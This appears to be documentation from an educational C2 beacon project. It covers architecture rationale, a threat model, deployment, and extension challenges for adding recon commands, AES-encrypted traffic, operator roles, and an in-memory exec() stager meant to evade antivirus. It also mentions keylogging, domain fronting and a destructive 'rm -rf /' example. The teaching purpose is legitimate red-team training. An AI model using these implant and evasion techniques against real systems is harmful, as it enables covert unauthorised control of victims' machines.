### Why WebSockets Over HTTP Polling
A C2 system needs bidirectional communication. The server needs to push tasks to beacons as soon as an operator submits them, and beacons need to push results back as they complete. There are a few ways to achieve this:
**HTTP polling** means the beacon sends a GET request every N seconds asking "do you have a task for me?" This works, and many real C2 frameworks use it because HTTP blends into normal web traffic. The downside is latency: if the polling interval is 30 seconds, a task might wait up to 30 seconds before the beacon picks it up.
**HTTP long polling** improves latency by having the server hold the request open until a task is available. This is better, but managing held connections adds complexity and each pending request consumes a server thread or connection slot.
**WebSockets** give us a persistent, full-duplex connection. The server can push a task to the beacon the instant it arrives, with zero polling latency. The beacon can send heartbeats and results at any time without opening new connections.
We chose WebSockets because they simplify the architecture. One connection, bidirectional, always open. The trade-off is operational security: a persistent WebSocket connection to a fixed endpoint (`/api/ws/beacon`) is easier for network security tools to detect than periodic HTTP requests that look like normal web browsing. A production C2 would offer both options and let the operator choose based on the target environment.
### Why SQLite Over PostgreSQL
Covered in the database schema section above. The short version: single server, single writer, WAL handles concurrent reads, zero configuration, appropriate for the educational scope.
### Why Zustand Over React Context
The frontend state management uses Zustand instead of React Context. There are concrete reasons for this:
**No provider wrapper.** React Context requires wrapping your component tree in a `<Provider>`. Zustand stores are module-level singletons. You import `useC2Store` and call it. This keeps the component tree clean and avoids provider nesting issues when you have multiple stores.
**Selector-based subscriptions.** With React Context, any update to the context value re-renders every component that consumes it. Zustand lets components subscribe to specific slices of state. The dashboard only subscribes to the beacons object. The session page only subscribes to task results. When a heartbeat updates a beacon's `last_seen`, the session page does not re-render.
**`useShallow` for derived arrays.** The `useBeacons` selector in `frontend/src/core/ws.ts` uses `useShallow` to wrap `Object.values(s.beacons)`. Without `useShallow`, `Object.values()` would create a new array reference on every store update, causing the component to re-render in an infinite loop even if the actual beacon data has not changed. `useShallow` performs a shallow comparison of the array elements and only returns a new reference if the contents actually differ.
**DevTools support.** The store is wrapped in Zustand's `devtools` middleware with `name: 'C2Store'`. This means you can open the Redux DevTools browser extension and inspect every state change, which is invaluable when debugging WebSocket message handling.
### Why Per-Beacon Task Queues
The `TaskManager` in `backend/app/beacon/tasking.py` maintains a separate `asyncio.Queue` for each beacon ID. When an operator submits a task for beacon A, it goes into beacon A's queue. Beacon B's queue is unaffected.
This design has several benefits:
**Independent delivery.** If beacon A is slow or disconnected, tasks for beacon B are not blocked. Each beacon's `_send_tasks` coroutine in `beacon/router.py` blocks on its own queue independently.
**Clean disconnection handling.** When a beacon disconnects, `task_manager.remove_queue(beacon_id)` drops the queue and any pending tasks in it. This prevents memory leaks from accumulating tasks for dead beacons.
**Simple ordering.** asyncio.Queue is FIFO, so tasks for a given beacon are delivered in the order they were submitted. There is no need for priority logic or sorting.
The alternative would be a single shared queue with filtering, or a database polling approach where the `_send_tasks` coroutine queries SQLite for pending tasks. The per-beacon queue approach is simpler, faster (no database queries in the hot path), and naturally maps to the one-coroutine-per-beacon architecture.
### Why Dual Coroutine Pattern (send + receive)
The beacon WebSocket handler in `backend/app/beacon/router.py` runs two coroutines concurrently for each beacon connection:
- `_send_tasks` blocks on `task_manager.get_next()` and sends TASK messages to the beacon.
- `_receive_messages` blocks on `ws.receive_text()` and processes HEARTBEAT and RESULT messages from the beacon.
These run under `asyncio.wait` with `return_when=FIRST_COMPLETED`:
```python
done, pending = await asyncio.wait(
[send_task, recv_task],
return_when=asyncio.FIRST_COMPLETED,
)
for task in pending:
task.cancel()
```
This pattern is the standard way to handle bidirectional WebSocket communication in asyncio. Here is why both coroutines are necessary:
**`_send_tasks` must block independently.** It needs to await the task queue, which could take minutes or hours if no operator submits a task. You cannot interleave this with receiving messages in the same coroutine without complicated select/poll logic.
**`_receive_messages` must block independently.** It needs to await the next WebSocket frame, which could be a heartbeat every few seconds or a result after a long-running command.
**FIRST_COMPLETED handles disconnection.** If the beacon disconnects, `ws.receive_text()` raises `WebSocketDisconnect`, which terminates `_receive_messages`. The `asyncio.wait` returns immediately, the pending `_send_tasks` coroutine gets cancelled, and the `finally` block in the main handler cleans up the registry and task queue. The reverse works too: if `_send_tasks` fails (perhaps because `ws.send_text()` raises on a dead connection), it completes first and `_receive_messages` gets cancelled.
---
## Security Architecture
### Threat Model
This is an educational project, so the threat model is intentionally limited. Here is what we protect against, what we simulate, and what we deliberately leave open:
**What we simulate protecting against:**
- **Network eavesdropping.** The XOR+Base64 encoding on the beacon-server channel simulates transport encryption. If someone captures the WebSocket traffic, they see Base64 strings instead of plaintext JSON. Of course, XOR with a known-length repeating key is trivially breakable. The point is to demonstrate where encoding sits in the protocol stack, not to provide real confidentiality.
- **Message integrity.** The `unpack()` function validates incoming messages against the Pydantic schema. A malformed or garbage message gets rejected with a ValueError. This prevents basic protocol confusion, though it does nothing against a sophisticated attacker who knows the protocol format.
- **Beacon identity.** The shared XOR key acts as a weak form of authentication. If you do not have the key, your REGISTER message will not decode correctly and the server will reject it. This simulates the concept of pre-shared key authentication, even though the actual implementation is weak.
**What we intentionally do not protect against:**
- **Reverse engineering.** The beacon is a plaintext Python script. Anyone with access to the file can read the source, extract the XOR key, and understand the protocol completely.
- **EDR/AV detection.** The beacon makes no attempt to evade endpoint detection. It uses standard Python libraries, standard process names, and standard network calls.
- **Traffic analysis.** The WebSocket endpoint is always `/api/ws/beacon`. The heartbeat interval is predictable (even with jitter). A network analyst could easily fingerprint this traffic.
- **Key extraction from memory.** The XOR key sits in plaintext in the beacon's process memory. A memory dump reveals it immediately.
- **Operator authentication.** Anyone who can reach the `/api/ws/operator` endpoint can connect as an operator and issue commands. There is no login, no token, no access control. This is an intentional simplification.
### What a Production C2 Would Add
If you were building a real C2 framework (for authorized red team operations), you would add layers that we skip here:
**TLS for transport encryption.** All traffic would go over HTTPS/WSS. This provides real confidentiality and integrity at the transport layer, and it makes the C2 traffic blend in with normal HTTPS traffic.
**Certificate pinning.** The beacon would validate the server's TLS certificate against a pinned hash, preventing man-in-the-middle attacks even if the target environment has a corporate TLS interception proxy.
**Asymmetric key exchange.** Instead of a pre-shared XOR key, the beacon and server would negotiate a session key using RSA or ECDH. This provides forward secrecy: compromising one session key does not reveal past or future communications.
**Operator authentication.** The operator dashboard would require authentication (username/password, client certificates, or TOTP). Role-based access control would limit which operators can access which beacons.
**Beacon staging.** Instead of deploying the full beacon as a Python script, a production C2 uses a small "stager" that downloads the full payload from the server, decrypts it in memory, and executes it without touching disk. This reduces the file-based detection surface.
**Malleable C2 profiles.** Tools like Cobalt Strike let operators define "profiles" that reshape C2 traffic to look like legitimate web services (Slack API calls, Google Analytics beacons, etc.). This defeats signature-based network detection.
**Domain fronting or CDN hiding.** The beacon connects to a legitimate CDN domain (like cloudfront.net), and the CDN routes the request to the actual C2 server based on the Host header. From the network's perspective, the beacon is just talking to a CDN.
---
## Deployment Architecture
### Development Stack
The development stack is defined in `dev.compose.yml` and optimized for live editing with hot reload on every component:
```
dev.compose.yml
├── nginx (nginx:1.27-alpine, port 47430)
│ └── volumes: dev.nginx config (read-only)
├── frontend (Vite dev server, port 5173)
│ └── volumes: ./frontend mounted, node_modules in named volume
└── backend (uvicorn --reload, port 8000)
└── volumes: ./backend mounted, .venv in named volume
```
**Nginx** uses the stock `nginx:1.27-alpine` image with the development config mounted in. It proxies to both the Vite dev server and the FastAPI backend.
**Frontend** builds from `infra/docker/vite.dev` and runs `pnpm dev` with Vite's HMR (Hot Module Replacement) server on port 5173. The source directory `./frontend` is bind-mounted into the container, so any file change on your host triggers an instant browser refresh. The `node_modules` directory lives in a Docker named volume (`frontend_modules`) to avoid platform-specific binary conflicts between your host OS and the container's Linux.
**Backend** builds from `infra/docker/fastapi.dev` and runs uvicorn with `--reload` enabled. The source directory `./backend` is bind-mounted, so Python file changes trigger an automatic server restart. The `.venv` directory lives in a named volume (`backend_cache`) for the same platform isolation reason. Environment variables set `ENVIRONMENT=development`, `DEBUG=true`, and `RELOAD=true`.
The development compose uses Docker's `depends_on` with health checks to ensure the backend is ready before nginx starts proxying to it. The backend health check hits `http://localhost:8000/health` every 10 seconds with a 30-second startup grace period.
### Production Stack
The production stack is defined in `compose.yml` and differs from development in several ways:
```
compose.yml
├── nginx (multi-stage build, port 47430)
│ └── Built frontend static files baked into image
└── backend (gunicorn, port 8000)
└── SQLite data in named volume (c2_data)
```
**Nginx** uses a multi-stage build defined in `infra/docker/frontend-builder.prod`. The first stage installs pnpm, runs `pnpm build`, and produces the static frontend files. The second stage copies those files into an nginx image with the production config (`prod.nginx`). There is no separate frontend container in production. Nginx serves the built files directly, which is faster and uses fewer resources.
**Backend** builds from `infra/docker/fastapi.prod` and runs with `ENVIRONMENT=production`, `DEBUG=false`, `RELOAD=false`. The SQLite database lives in a Docker named volume (`c2_data`) so it persists across container restarts. Resource limits are set: the backend gets up to 2 CPUs and 1GB RAM, nginx gets up to 1 CPU and 256MB RAM.
The production nginx config (`prod.nginx`) adds security headers (X-Frame-Options, X-Content-Type-Options, X-XSS-Protection, Referrer-Policy, Permissions-Policy), aggressive caching for static assets (1 year for `/assets/` with immutable), and tighter rate limits (burst=20 vs burst=50 in dev).
---
## Key Files Reference
Quick lookup table mapping concepts to their implementation files:
| Concept | File |
|---------|------|
| XOR encoding | `backend/app/core/encoding.py` |
| Protocol messages | `backend/app/core/protocol.py` |
| Data models | `backend/app/core/models.py` |
| Beacon WebSocket handler | `backend/app/beacon/router.py` |
| Task queue management | `backend/app/beacon/tasking.py` |
| Beacon registry | `backend/app/beacon/registry.py` |
| Operator REST + WebSocket | `backend/app/ops/router.py` |
| Operator broadcast manager | `backend/app/ops/manager.py` |
| App factory + lifespan | `backend/app/__main__.py` |
| Configuration (Pydantic Settings) | `backend/app/config.py` |
| Database schema + connection | `backend/app/database.py` |
| Beacon implant | `beacon/beacon.py` |
| Frontend Zustand store + WebSocket | `frontend/src/core/ws.ts` |
| Frontend Zod schemas + types | `frontend/src/core/types.ts` |
| Frontend route + endpoint config | `frontend/src/config.ts` |
| Nginx dev config | `infra/nginx/dev.nginx` |
| Nginx prod config | `infra/nginx/prod.nginx` |
| Nginx shared base config | `infra/nginx/nginx.conf` |
| Development Docker Compose | `dev.compose.yml` |
| Production Docker Compose | `compose.yml` |
---
**Next up:** [03-PROTOCOL-DEEP-DIVE.md](./03-PROTOCOL-DEEP-DIVE.md) will step through the encoding pipeline byte by byte, show you XOR in action with real data, and explain how to break it.

File diff suppressed because it is too large Load Diff

View File

@ -0,0 +1,653 @@
<!-- © AngelaMos | 2026 | 04-CHALLENGES.md -->
# Extension Challenges
These challenges extend the C2 beacon project with real features found in production command-and-control frameworks. They are ordered by difficulty, and each one references actual files in this project. Read the referenced code before you start. The hints point you in the right direction without giving you the full solution.
Each challenge references real functions, real class names, and real file paths. If a hint says "look at `COMMAND_HANDLERS` in `beacon.py`," go read that dictionary. The code is the source of truth.
---
## Easy Challenges
---
### Challenge 1: Add a `pwd` Command
**What to build:** A new command that returns the beacon's current working directory to the operator.
**Why it matters:** Every real C2 framework supports directory awareness. Cobalt Strike, Sliver, and Metasploit all have `pwd` and `cd` commands because operators need to know where file operations will land. Without `pwd`, if you run `download notes.txt`, you have no idea which `notes.txt` you are grabbing.
**What you will learn:**
- How new commands propagate through the entire stack (beacon handler, backend enum, frontend types, UI)
- The full lifecycle of a command: frontend submission, WebSocket relay, beacon execution, result return
**Where to start reading:**
The command dispatch system is in `beacon/beacon.py`. Look at the `COMMAND_HANDLERS` dictionary at line 419. Every command maps a string key to an async handler function. The `dispatch` function at line 433 does the routing: it looks up the command string in the dictionary and calls the matching handler.
On the backend, `backend/app/core/models.py:12-26` defines `CommandType` as a `StrEnum`. Every supported command must be listed here or the Pydantic validation at `backend/app/ops/router.py:60` will reject it.
On the frontend, `frontend/src/core/types.ts:8-19` mirrors the enum as a Zod schema. The session page at `frontend/src/pages/session/index.tsx:19-30` has a `COMMANDS` array that controls which commands the input parser accepts.
**Hints:**
1. The beacon handler is trivial. Python's `os.getcwd()` returns the current working directory as a string. Your handler should follow the same return pattern as the other handlers: `{"output": ..., "error": None}`.
2. You need to touch four files in this order:
- Add `PWD = "pwd"` to the `CommandType` enum in `backend/app/core/models.py`
- Add `'pwd'` to the Zod enum array in `frontend/src/core/types.ts`
- Add `'pwd'` to the `COMMANDS` array in `frontend/src/pages/session/index.tsx`
- Add the handler function and its entry in `COMMAND_HANDLERS` in `beacon/beacon.py`
3. Look at `handle_sysinfo` at `beacon/beacon.py:153` for the pattern. Your handler will be much simpler, about 3 lines.
**Files to modify:**
- `beacon/beacon.py`
- `backend/app/core/models.py`
- `frontend/src/core/types.ts`
- `frontend/src/pages/session/index.tsx`
**How to test:**
- Start the full stack with Docker
- Connect a beacon
- Type `pwd` in the session terminal
- Verify you get back a directory path like `/home/yoshi/dev/...`
---
### Challenge 2: Add Beacon Uptime Display
**What to build:** Show how long each beacon has been connected as a new column in the dashboard table. Display it as a human-readable duration like "2h 15m" or "3d 6h".
**Why it matters:** Operators in real C2 engagements need to quickly assess which beacons are fresh versus long-running. A beacon that has been alive for 5 days is more valuable than one that connected 30 seconds ago, because it has survived reboots, AV scans, and network changes. Uptime at a glance changes how operators prioritize targets.
**What you will learn:**
- Reading from existing data models without modifying the backend
- Date arithmetic in JavaScript
- Extending React table components
**Where to start reading:**
The `BeaconRecord` model already has everything you need. Look at `frontend/src/core/types.ts:22-34`. The `first_seen` field is an ISO 8601 timestamp string set when the beacon first registered. The `last_seen` field updates on every heartbeat.
The dashboard table is in `frontend/src/pages/dashboard/index.tsx`. The `BeaconRow` component at line 43 renders one row per beacon. The table headers are at lines 120-128. There is already a `formatRelativeTime` function at line 14 that converts ISO timestamps to relative strings like "5s ago" or "2h ago". You can use a similar approach, or compute `Date.now() - new Date(beacon.first_seen).getTime()` to get the uptime in milliseconds.
The dashboard already has a 1-second tick interval at lines 95-98 that forces re-renders, so your uptime display will update automatically every second.
**Hints:**
1. The uptime is the difference between now and `first_seen`. Subtraction gives you milliseconds. Convert to hours and minutes for display.
2. Add a new `<th>Uptime</th>` in the table header and a matching `<td>` in `BeaconRow`. Put it before the "Last Seen" column.
3. Write a `formatUptime` function that takes an ISO string and returns something like "4h 22m" or "1d 3h". Do not overthink it: divide milliseconds by the appropriate constants (1000 for seconds, 60 for minutes, etc.).
**Files to modify:**
- `frontend/src/pages/dashboard/index.tsx`
**How to test:**
- Start the stack, connect a beacon
- Verify the uptime column shows "0s" or "1s" initially
- Wait a few minutes and verify it updates
- Refresh the page and verify it still shows the correct uptime (because `first_seen` is persisted in SQLite)
---
### Challenge 3: Add a `clear` Terminal Command
**What to build:** A client-side `clear` command that empties the terminal output in the session page, like running `clear` in a real terminal.
**Why it matters:** When you are running dozens of commands during an engagement, the terminal fills up fast. Operators need to clear their view without losing the ability to run new commands. This is also a good exercise in understanding which commands are client-side-only versus which ones travel to the beacon.
**What you will learn:**
- Client-side command interception (handling commands before they hit the network)
- The difference between client-side and server-side command processing
- React state manipulation
**Where to start reading:**
The `handleSubmit` function at `frontend/src/pages/session/index.tsx:174` is where every command starts. It calls `parseInput` (line 39) to validate the command, then calls `handleSend` (line 164) which adds a terminal entry and sends the task over the WebSocket via `sendTask`.
The terminal output is stored in the `entries` state array at line 145. Calling `setEntries([])` clears all terminal entries.
The `parseInput` function at line 39 checks if the typed command is in the `COMMANDS` array. If the command is not found, it returns `null` and `handleSubmit` does nothing.
**Hints:**
1. `clear` should NOT be added to the `COMMANDS` array, the `CommandType` enum, or the backend models. It never leaves the frontend.
2. Intercept `clear` inside `handleSubmit` BEFORE the `parseInput` call. Check if `input.trim() === 'clear'`, and if so, call `setEntries([])`, clear the input, and return early.
3. You might also want to add `clear` as a recognized command in the autocomplete suggestions. The `handleInputChange` function at line 223 filters the `COMMANDS` array for suggestions. You could create a separate `CLIENT_COMMANDS` array or just hardcode the check.
**Files to modify:**
- `frontend/src/pages/session/index.tsx`
**How to test:**
- Open a session, run a few commands
- Type `clear` and press Enter
- Verify the terminal empties
- Run new commands and verify they appear normally
- Verify no network request was sent (check the WebSocket frames in DevTools)
---
### Challenge 4: Add Connection Count to Header
**What to build:** Display the number of connected operators somewhere in the dashboard header. Something like "2 operators connected" next to the beacon count.
**Why it matters:** In a team engagement, multiple operators may be connected to the same C2 server. Knowing how many people are active helps coordinate. If you see "0 operators" while you expected your teammate to be online, something is wrong, either their connection dropped or something is intercepting traffic.
**What you will learn:**
- Adding REST endpoints to the FastAPI backend
- Fetching data from the backend in React components
- The relationship between the OpsManager and the operator WebSocket
**Where to start reading:**
The `OpsManager` class at `backend/app/ops/manager.py:15` already tracks connections. The `connection_count` property at line 56 returns `len(self._connections)`. The operator REST router at `backend/app/ops/router.py` has endpoints starting at line 94.
The dashboard component at `frontend/src/pages/dashboard/index.tsx:100` renders a header section at lines 103-112 that already shows the beacon count.
**Hints:**
1. The simplest approach: add a new REST endpoint to `backend/app/ops/router.py`. Something like `GET /api/operators/count` that returns `{"count": ops_manager.connection_count}`. Access the ops_manager from `request.app.state.ops_manager`.
2. On the frontend, fetch this endpoint with a `useEffect` on mount. Store the result in local state. Display it next to the existing beacon count in the header.
3. An alternative approach that avoids polling: include the operator count in the initial `beacon_list` WebSocket payload at `backend/app/ops/router.py:46-49`. Add an `operator_count` field. This way it arrives immediately on connect without an extra HTTP request. But it will not update in real time unless you also broadcast count changes.
4. Consider which approach gives better real-time accuracy. The REST endpoint only updates when the user refreshes or you poll. The WebSocket approach updates whenever you broadcast it. A hybrid approach works well: send the count on initial connect, and broadcast updates whenever an operator connects or disconnects.
**Files to modify:**
- `backend/app/ops/router.py`
- `frontend/src/pages/dashboard/index.tsx`
- Optionally: `frontend/src/core/ws.ts` and `frontend/src/core/types.ts` (if using the WebSocket approach)
---
## Intermediate Challenges
---
### Challenge 5: Add Operator Authentication
**What to build:** Require a password before allowing WebSocket connections from operators. If the password is wrong, close the connection immediately with a 4001 status code.
**Why it matters:** Right now, anyone who can reach the C2 server's WebSocket endpoint can connect as an operator and control every beacon. In a real engagement, this means a defender who discovers the C2 server can send `shell rm -rf /` to every beacon or simply watch all task results. Every production C2 framework has operator authentication. Cobalt Strike uses team passwords. Sliver uses mutual TLS with operator certificates.
**What you will learn:**
- WebSocket authentication patterns
- Environment variable-based configuration
- Securing a protocol that was designed without auth
**Where to start reading:**
The operator WebSocket handler is at `backend/app/ops/router.py:25-91`. The connection flow is: `ops_manager.connect(ws)` accepts the WebSocket at line 34, then immediately sends the beacon list at lines 36-49, then enters a message receive loop at line 51.
The `Settings` class at `backend/app/config.py:17` loads configuration from environment variables using Pydantic settings. The `XOR_KEY` field at line 41 shows the pattern for adding new config values with defaults.
The frontend WebSocket connection is established at `frontend/src/core/ws.ts:166-167`. The `connect` function creates a new `WebSocket` and sets up event handlers. Currently, no authentication data is sent on connect.
**Hints:**
1. Add an `AUTH_KEY` field to the `Settings` class in `backend/app/config.py`. Give it a default value for development, like `"operator-default-key"`. Load it from the `AUTH_KEY` environment variable.
2. In the operator WebSocket handler at `router.py:25`, BEFORE calling `ops_manager.connect(ws)`, accept the connection manually with `await ws.accept()`, then wait for the first message. If it matches `settings.AUTH_KEY`, proceed normally. If not, call `await ws.close(code=4001, reason="Unauthorized")` and return.
3. On the frontend, modify the `connect` function in `ws.ts`. In the `ws.onopen` callback (line 170), send the auth key as the first message: `ws.send(JSON.stringify({ type: "auth", key: "..." }))`. You will need the key available in the frontend, either hardcoded for development, or loaded from a login form, or passed via an environment variable using Vite's `import.meta.env`.
4. You will also need to adjust `ops_manager.connect()` at `manager.py:25`. Currently it calls `await ws.accept()`. If you manually accept in the router before auth, the manager should skip the accept call. Alternatively, restructure so the manager does the accepting and auth checking.
5. Watch out for the message loop at `router.py:51`. After auth, the first "real" message should be a `submit_task`, not the auth message. Make sure you do not accidentally interpret the auth message as a task submission.
**Files to modify:**
- `backend/app/config.py`
- `backend/app/ops/router.py`
- `frontend/src/core/ws.ts`
**How to test:**
- Set `AUTH_KEY=my-secret-key` in your `.env` file
- Update the frontend to send this key on connect
- Start the stack and verify the dashboard loads normally
- Change the frontend key to a wrong value and verify the WebSocket closes with 4001
- Check server logs for the unauthorized attempt
---
### Challenge 6: Add More Quick Action Buttons
**What to build:** Expand the quick actions panel on the session page with additional buttons. Consider `whoami`, `uname -a`, `id`, `hostname`, and network commands.
**Why it matters:** Quick actions speed up common reconnaissance tasks during an engagement. Real C2 operators run the same handful of commands on every new beacon to orient themselves: who am I, what system is this, what network am I on. Having one-click buttons for these beats typing them every time.
**What you will learn:**
- How quick actions map to existing command types
- Building shell commands that get sent through the `shell` command type
- Extending React component interfaces
**Where to start reading:**
The `QuickActions` component is at `frontend/src/pages/session/index.tsx:55-88`. It renders three buttons for `sysinfo`, `proclist`, and `screenshot`. Each button calls `onSend` with a `CommandType`. The `onSend` prop comes from `handleSend` at line 164, which accepts a `CommandType` and optional `args`.
Notice that `sysinfo`, `proclist`, and `screenshot` are their own command types, so the buttons call `onSend('sysinfo')` with no args. But for shell commands, you need to call `handleSend` with both the command type and arguments, like `handleSend('shell', 'whoami')`.
**Hints:**
1. The `QuickActions` component currently takes `onSend: (cmd: CommandType) => void`. You need to change this to accept args too: `onSend: (cmd: CommandType, args?: string) => void`. This matches the signature of `handleSend` at line 164, which already accepts optional args.
2. Add new buttons that call `onSend('shell', 'whoami')`, `onSend('shell', 'uname -a')`, `onSend('shell', 'id')`, etc.
3. Consider grouping the buttons. You could create sections: "System Info" for sysinfo/proclist, "Quick Recon" for shell commands, "Collection" for screenshot. Use a heading or visual separator.
4. You could also add buttons for `keylog_start`, `keylog_stop`, and `sleep`. The sleep button might want to prompt for an interval, but start simple with a fixed value.
**Files to modify:**
- `frontend/src/pages/session/index.tsx`
**How to test:**
- Open a session with an active beacon
- Click each new quick action button
- Verify the correct command and args appear in the terminal
- Verify the beacon returns results for each
---
### Challenge 7: Task History Persistence
**What to build:** When you navigate away from a session page and come back, reload the previous task history from the server so the terminal shows past commands and results.
**Why it matters:** Right now, the terminal entries live in React component state. Navigate away and they vanish. In a real engagement that lasts hours or days, operators switch between beacons constantly. Losing terminal history means losing context about what has already been run, leading to redundant commands or missed results.
**What you will learn:**
- Fetching historical data from REST APIs on component mount
- Mapping database records to UI state
- The relationship between the WebSocket (real-time) and REST (historical) data paths
**Where to start reading:**
The REST endpoint already exists. Look at `backend/app/ops/router.py:128-137`. The `GET /beacons/{beacon_id}/tasks` endpoint calls `task_manager.get_history(beacon_id, db)` which is implemented at `backend/app/beacon/tasking.py:93-116`. This function joins `tasks` with `task_results` and returns rows with columns: `id`, `command`, `args`, `status`, `created_at`, `completed_at`, `output`, `error`.
The session page at `frontend/src/pages/session/index.tsx:138` has the `Component` function. The `entries` state at line 145 is `TerminalEntry[]` where each entry has `command`, `args`, `result`, and `taskId`.
The `TerminalEntry` interface is at line 32. The `result` field is `TaskResult | null`, and `TaskResult` (from `types.ts:47-54`) has `id`, `task_id`, `output`, `error`, and `created_at`.
**Hints:**
1. Add a `useEffect` in the `Component` function that fetches `/api/beacons/${id}/tasks` on mount. Parse the response into `TerminalEntry[]` objects and call `setEntries(...)` with the result.
2. You need to map the REST response format to `TerminalEntry`. The REST response has `command`, `args`, `output`, `error`, and `id` (the task ID). Build each entry like:
```
{
command: row.command,
args: row.args,
result: row.output || row.error ? { id: "...", task_id: row.id, output: row.output, error: row.error, created_at: row.created_at } : null,
taskId: row.id,
}
```
3. The history comes back in `ORDER BY created_at DESC` (see `tasking.py:113`), so you will want to reverse it for chronological display in the terminal.
4. Be careful not to duplicate entries. If a task result arrives via WebSocket while you are also loading history from REST, you could end up with the same entry twice. Consider deduplicating by `taskId` or only loading history if `entries` is empty.
**Files to modify:**
- `frontend/src/pages/session/index.tsx`
**How to test:**
- Open a session, run several commands, wait for results
- Navigate back to the dashboard
- Click the same beacon again to re-enter the session
- Verify the previous commands and results appear in the terminal
- Run a new command and verify it appends correctly after the historical entries
---
### Challenge 8: Add AES-256 Encryption
**What to build:** Replace the XOR encoding with AES-256-GCM encryption for the beacon-to-server communication channel.
**Why it matters:** XOR encoding is trivially reversible. Anyone who captures the traffic and discovers the key (which is a static string from an environment variable) can decode every message. Even without the key, XOR encoding is vulnerable to known-plaintext attacks. If an attacker knows the beacon sends a `HEARTBEAT` message every few seconds, they can XOR the known plaintext against the ciphertext to recover the key.
AES-256-GCM provides authenticated encryption: confidentiality (attackers cannot read the message), integrity (attackers cannot modify the message without detection), and authentication (the decryptor can verify the message came from someone with the key).
MITRE ATT&CK reference: T1573.001 (Encrypted Channel: Symmetric Cryptography).
**What you will learn:**
- AES-GCM symmetric encryption with random IVs
- Key derivation from passwords using PBKDF2 or HKDF
- The difference between encoding (XOR, Base64) and encryption (AES-GCM)
- Updating both sides of a communication protocol simultaneously
**Where to start reading:**
The server-side encoding is at `backend/app/core/encoding.py`. The `encode` function at line 16 does `UTF-8 -> XOR -> Base64`. The `decode` function at line 24 reverses it. These are called by `backend/app/core/protocol.py:37-59` in the `pack` and `unpack` functions.
The beacon-side encoding is at `beacon/beacon.py:56-78`. The `xor_bytes`, `encode`, and `decode` functions mirror the server side exactly.
The XOR key comes from `backend/app/config.py:41-44` (`XOR_KEY` setting) and `beacon/beacon.py:40-41` (`C2_XOR_KEY` environment variable). Both default to `"c2-beacon-default-key-change-me"`.
**Hints:**
1. Use Python's `cryptography` library. Specifically, `cryptography.hazmat.primitives.ciphers.aead.AESGCM`. This gives you a clean API: `aesgcm.encrypt(nonce, plaintext, associated_data)` and `aesgcm.decrypt(nonce, ciphertext, associated_data)`.
2. AES-256 requires a 32-byte key. The current XOR key is a human-readable string. Derive a proper 256-bit key from it using HKDF or PBKDF2:
```python
from cryptography.hazmat.primitives.kdf.hkdf import HKDF
from cryptography.hazmat.primitives import hashes
key = HKDF(
algorithm=hashes.SHA256(),
length=32,
salt=None,
info=b"c2-beacon-aes",
).derive(password.encode("utf-8"))
```
3. Each message needs a unique 12-byte nonce (IV). Generate it with `os.urandom(12)`. Prepend it to the ciphertext so the receiver can extract it. The final format is: `base64(nonce + ciphertext + auth_tag)`.
4. You need to update both `encoding.py` (server) and `beacon.py` (beacon) in lockstep. If one side upgrades to AES while the other still uses XOR, they cannot communicate.
5. The `protocol.py` functions `pack` and `unpack` do not need structural changes. They call `encode` and `decode`. If you change what those functions do internally, the protocol layer stays the same.
6. Write a test. The existing tests at `backend/tests/test_encoding.py` validate the XOR encode/decode round trip. Update them for AES-GCM.
**Files to modify:**
- `backend/app/core/encoding.py`
- `beacon/beacon.py`
- `backend/tests/test_encoding.py`
---
## Advanced Challenges
---
### Challenge 9: Multi-Operator Support with Roles
**What to build:** Add role-based access control where operators are either "admin" or "viewer." Admins can send commands to beacons. Viewers can watch the dashboard and see results in real time, but cannot submit tasks.
**Why it matters:** During a red team engagement, the operator who controls beacons is not always the only person watching. Team leads, report writers, and other operators may want to observe activity without the risk of accidentally running commands. Cobalt Strike has this exact feature: operators can be given "read-only" access to a team server.
**What you will learn:**
- Role-based authorization in WebSocket connections
- Server-side message filtering
- Frontend conditional rendering based on permissions
**Where to start reading:**
The `OpsManager` at `backend/app/ops/manager.py:15` stores connections as a plain `set[WebSocket]`. It has no concept of who each connection belongs to or what they are allowed to do.
The operator WebSocket handler at `backend/app/ops/router.py:51-77` processes all incoming messages the same way. The `submit_task` handler at line 55 does not check any permissions.
**Hints:**
1. Change the `OpsManager._connections` from `set[WebSocket]` to `dict[WebSocket, str]` where the value is the role ("admin" or "viewer").
2. When an operator connects, have them send a role claim in their first message (or as part of an auth message if you completed Challenge 5). Store the role in the connections dict.
3. In the `operator_websocket` handler at `router.py:55`, before processing a `submit_task` message, check the operator's role. If they are a viewer, send back an error message instead of submitting the task.
4. On the frontend, store the operator's role in the Zustand store. Use it to conditionally disable the command input and quick action buttons for viewers. Disable the buttons visually (grayed out, `disabled` attribute) so viewers can see what is available but cannot interact.
5. The `broadcast` method at `manager.py:40` should continue to send events to all operators regardless of role. Viewers need to see beacon connections, heartbeats, and task results.
**Files to modify:**
- `backend/app/ops/manager.py`
- `backend/app/ops/router.py`
- `frontend/src/core/ws.ts`
- `frontend/src/pages/session/index.tsx`
---
### Challenge 10: Beacon Staging
**What to build:** A two-stage deployment where a small stager script downloads and executes the full beacon payload from the C2 server at runtime. The stager is just a few lines of Python. The full beacon code lives on the server and is served on demand.
**Why it matters:** Real C2 frameworks almost always use stagers. The reason is operational security. A tiny stager (10-20 lines) is harder for antivirus to detect than a full beacon (500+ lines with imports like `psutil`, `mss`, and `pynput`). The stager downloads the payload into memory, so the full beacon code never touches disk, which defeats file-based scanning.
MITRE ATT&CK references: T1059.006 (Command and Scripting Interpreter: Python), T1105 (Ingress Tool Transfer).
**What you will learn:**
- Staged payload delivery
- In-memory code execution with `exec()`
- Serving code payloads from the C2 server
- The security tradeoffs of stagers vs. stageless payloads
**Where to start reading:**
The current beacon at `beacon/beacon.py` is a standalone script. It imports its dependencies at the top and runs `asyncio.run(main())` at line 513. Everything is self-contained.
The backend app is assembled in `backend/app/__init__.py` (or `__main__.py`). REST endpoints are mounted through the router files. Look at how `rest_router` is used in `backend/app/ops/router.py:22` for the pattern.
**Hints:**
1. Add a new REST endpoint to the backend: `GET /api/stage`. This endpoint reads the `beacon/beacon.py` file and returns its contents as plain text. You will need to configure the path to the beacon file (an environment variable or a settings field).
2. The stager is a small Python script that does three things:
- Fetches the payload from the C2 server via HTTP
- Optionally verifies a hash or signature to prevent tampering
- Calls `exec()` to run the payload in memory
3. Keep the stager as small as possible. It should use only standard library modules (`urllib.request`, `ssl`). No `pip install` required. The smaller the stager, the harder it is to detect.
4. Consider encoding or encrypting the payload in transit. The stager could XOR-decode the payload before executing it. This adds a thin layer of obfuscation, though a determined analyst will still reverse it.
